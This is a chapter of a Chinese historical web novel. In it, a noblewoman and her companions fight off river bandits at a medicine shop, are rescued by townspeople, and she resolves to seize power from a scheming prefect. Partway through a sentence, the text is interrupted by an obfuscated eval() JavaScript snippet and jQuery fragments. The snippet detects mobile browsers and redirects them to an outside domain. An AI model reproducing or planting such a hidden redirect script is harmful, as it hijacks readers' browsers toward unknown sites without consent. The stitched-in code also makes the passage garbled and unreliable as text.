20.第 20 章

作品:《别离枝

    寅时末,天色未明,是书上说的军士最易困怠的时候。


    观棠从前并未有过这种体悟,在即将有什么事情发生之前,鼻息间都仿佛能闻见一种暗涌在潮热空气里的紧张感。


    她揽着达妍昭坐在屋内一角,栾慧、林二及小学徒,以及三个赵令羽的手下或战或坐在不远处。


    静悄悄的夜里,时不时传来四声杜鹃的啼叫,前两声音高,后两声音低,在暗夜里显得有些阴森。


    感觉到膝头达妍昭的脑袋愈发沉了下去,观棠低声开口道:“你们赵队将是如何进的水寨,可有人知?”


    三人对望彼此一眼,一人道:“头儿从未说过。”


    栾慧这几日也对赵令羽充满好奇,追问道:“那他在水寨有多少年了?”


    几人仍旧面露茫然,说“我们几个去的都晚,听刘哥说,老大在水寨里有七八年了。”


    观棠听了心想,赵令羽看起来已过而立,说明他二十岁出头便犯事刺配。此人的习性和规矩像是在军中打磨过许久,莫非是卷入了什么禁军暗斗,这才导致被冤入狱?


    她正想着,忽然听见屋外里传来一声哨子声,与那四声杜鹃的声音相错,乍一听还当是鸟叫。


    栾慧身子一凛,道:“来了。”


    过不一会儿,楼下院子里响起两声惨叫。


    “听方位像是给了哥王扑到了。”林二说。


    数个时辰前,赵令羽离开以后,观棠命人在院墙各处布下了陷阱。


    林二取得一种名叫“了哥王”的岭南药材的汁液,灌在了竹筒里,待人踏进院墙,触发机关,植汁便会从竹筒里倾倒。


    “这植物汁溅则目盲,身上若是有伤口,沾到更是剧痛无比”林二解释道,“只不过这药材药铺内并不多。”


    观棠说:“这陷阱更多的只是起威慑的作用,叫他们知道我们早有准备。”


    此时,达妍昭被屋外的声响吵醒,抬起头看向观棠,他们所在小楼二层,屋内未点灯,江面的火光原先撩亮了半天,但不知是因为天光将现,还是那火势被控住,此刻屋外黑黢黢一片,令人胆寒。


    感受到女子柔软和带有温度的手轻轻裹住耳朵,达妍昭眨了眨眼睛,一声未吭。


    屋外渐渐响起了兵器碰撞的声音,夹杂着人的呐喊声,观棠不知来了多少人,楼下院中只有十三人,若来的人数众,恐怕今夜难以平安度过。


    打斗声逐渐激烈了起来,这些水寨兵从前都是逞凶斗狠的角色,再加上赵令羽尽量将好手都留在了药铺里,观棠等人皆守在二楼,惟愿能够撑到赵令羽带人回来。


    这时,一枚箭突然射入屋内,声响和力道都十分大,半根没入了屋子里的木柱内,发出一声铮鸣。那箭几乎是擦着林二身旁的小学徒而过,在他耳畔爆起,吓得他下意识尖叫了一声。


    观棠心道,不好,此箭像是机弩所出,他们探得屋内有人,马上便会派人来此。


    果然,很快便听楼梯响起吱呀声,有人摸索着上来了。


    观棠和林二不会武,又有两个孩子要护着,早在那楼梯上布了陷阱,没一会儿,果听其中一人惨叫着滚下了楼梯。这机关陷阱是栾慧所设,他在楼梯上绷了一根细绳,稍加触碰,便会被绑着的竹叉扎入腿腹,竹叉上抹了去皮的白附子,能叫人皮肤立刻红肿如烫伤,遇伤口则使之溃烂。


    尽管如此,仍旧听见有人在往楼上走,观棠抱着达妍昭的手愈发地紧,就在这千钧一发之际,远处突然传来人声,熙熙攘攘,好似有很多人聚在药铺之外的街道上。


    那药铺朝街的正门被堵死了,但并非人力不可破,观棠抬头看向黑暗中栾慧所在的方向,隐约能看见他双手握着短匕,正警觉得盯着门口。


    不过短短几息间,便听铺面那边轰然一声,显然是正门被破,涌入了许多呐喊的人声。


    “你们是何人!为什么在这里!”一个汉子大喊道。


    听声音似乎并非水寨兵,观棠的身子坐直了些,便听院子里出现各种各样杂乱的声音,许多都是她听不懂的苍梧话,其中夹杂着一两句“保护经略使夫人”的官话说辞。


    “难道是城中百姓?”栾慧疑道,摸着墙壁走到窗边,侧耳听了会儿楼下的动静。


    屋内几人大气不敢出,却听楼下来人势众,不一会儿便压制住了侵入药铺之人,有几人喊道:“你们护好粮食,我们找找夫人。”


    这下观棠辩出这似乎是之前一个曾助他们堵决口之人的声音,林二也反应过来了,起身对屋内三个水寨兵道:“我出去看看好了。”


    栾慧怕他着了楼梯上的机关,随他一道下了楼,过不一会儿,观棠听见有人噔噔噔上了楼,栾慧举着火烛推门而入道:“夫人!真的来了不少城中的百姓!”


    观棠只觉一直压在身上的重担突然卸了力气,连呼吸都急促了两分。


    她稍缓了口气,带着达妍昭等人走出屋子,果见楼下院子里举着数枚火把,火光将一些熟悉的人的面庞照着,许多都是当日与众人一同堵决口之人,还有些是她这几日施粥时曾见过的,都关切地仰头看着牵着达妍昭走出来的她。


    有一人大胆道:“夫人没有受伤吧?”


    观棠摇摇头,说:“诸位,你们怎会在此……”


    那问话之人看了看四周站在他身边的人,道:“我们见那江上似着了火,便成群往过走,结果在江边遇到了赵队将等人。他说夫人这边恐怕会遭暗算,我们便又赶回来了。”


    听见他们提及赵令羽,观棠忙问:“赵队将可好?那艘停在江上的大船如何了?”


    这下众人有些不知所措,互相看看彼此,另有一个声音道:“着火的便是那艘大船。”


    观棠听见这话,一时不知该说什么,她身边原先还站着的三个水寨兵赶忙冲下了楼,抓着这些人问话。观棠遂也带着达妍昭下楼,楼梯上倒着两具尸体,但因为听见海鳅船遭难的事,她并无心顾及身旁的女孩子,只是沉着步子往下走。


    栾慧跟在她身后,将达妍昭往自己身边拉了拉,观棠走上前,目光从那些摇曳的火光下的面庞一一扫过去,颤着声开口道:“谢谢大家舍命相救。”


    “夫人为了梧州做了这么多事,我们怎么可能看着夫人陷入危难!”一人铿锵有力道,不少人也应和点头。


    观棠言谢完,领着众人开始清点院内的死伤。


    院内的水寨兵竟只剩六人,大多受了重伤,幸好前来救援的百姓在混乱中还知道要留活口,他们绑了两个来犯之人,拖到了观


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166320|176473||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    棠面前。


    “我是跑船的,我看他们打扮像是郁江上游的水贼。”一个中年男子道。


    观棠点点头,她看这些人也并不像是衙城的兵,想来即便是那徐继昌想要做什么,到底不敢明着使唤禁军。


    只是那两个人都是不通官话之人,只好叫两个会苍梧话的人去问话,再转述给观棠。林二本做主想要誊录一二,但水寨兵里有几个伤势不轻,还有几个来援的人也受了伤,他和学徒忙着治伤熬药,实在是抽不开身。


    自送走大半百姓后,观棠便坐在院子里。栾慧见她不去歇息,只是睁着眼看着地上的血污,不知在想什么。


    “夫人可是在担心赵队将?”


    “是,也不是。”观棠轻声道,“我只是在想,无论是赵令羽还是他手下的那些水寨兵,亦或是今夜来此的百姓……栾慧,我开始惧怕我的一言一行真的在左右他人命运。”


    她抬起头,凝视着那还挂在天边的月亮,再过不一会儿等日头升起,就会瞧不见这弯弦月了。


    无论是为了护她还是为了将她陷于险境,今夜都死了十几个人。


    栾慧见她神色不明如那乌云笼月,思索了一会儿道:“孟子有言,达则兼济天下。您出身高门,如今又为经略使夫人,原是为了梧州百姓在此地谋一条生路,这才携我与文四游出瓮城去水寨求援。您带回来救兵,又稳定了罗城百姓的民心,夫人别忘了,当日在那江水中,您也险些丢了性命啊!”


    观棠轻轻摇头道:“我只是觉得,以我之力,实在是……蜉蚁撼树。徐继昌不过小小知州,他背后,那些京中之人,甚至连一兵一卒都未动便能坐收渔翁之利。天下万民,于他们而言不过是俎上之肉,用来争权夺势的玩物罢了。栾慧,我感到愤怒,我既知自己力量渺小,又觉心中实在是有无穷无尽的愤怒。我想,这是因为我是一个手中什么都没有的人。我既没有像伯父那样为他效命的兵卒,也不像谢少行,能够靠一张纸一支笔便考取功名,上佐天子,下抚万民。”


    她说到这里,声音愈发沙哑:“我好不甘心,我看着这么多人死在我面前,我真的好不甘心。徐继昌把我拦在镇安南门外,甚至还要引水贼来此地截杀我,他做下这么多的祸事,一桩桩一件件……”


    观棠站起身,她眼神流转,从愤懑、怨恨,到如月华般夺目的坚韧。


    “我原想待漕船到了此地再与他……”她说到这里,眉头微动。


    是啊,她自觉是靠漕船和修建码头有了与徐继昌谈判的资格,但像他这样的人又岂会任旁人拿捏命脉。徐继昌起初说要两日给她水窦图,不就是为了等这两日水贼到此吗。是她拱手将主动权交予了她人,是她的天真和不思量,引发了今夜的混乱,还让赵令羽痛失了他的海鳅船和不少部下。


    待到再次开口时,观棠的语气已恢复平息。


    “只有夺走徐继昌的治州之权,才能真正解决梧州之患。”


    “夺权?”栾慧听了她的话,下意识问:“夫人,咱们如今被闭锁在罗城,如何能同那坐守兵马营和粮草的徐知州夺权。”


    观棠冷笑一声,道:“这法子可是他亲自交到我手上的。”


    见栾慧面露疑惑,她不卖关子,吐出三个字:“水窦图。”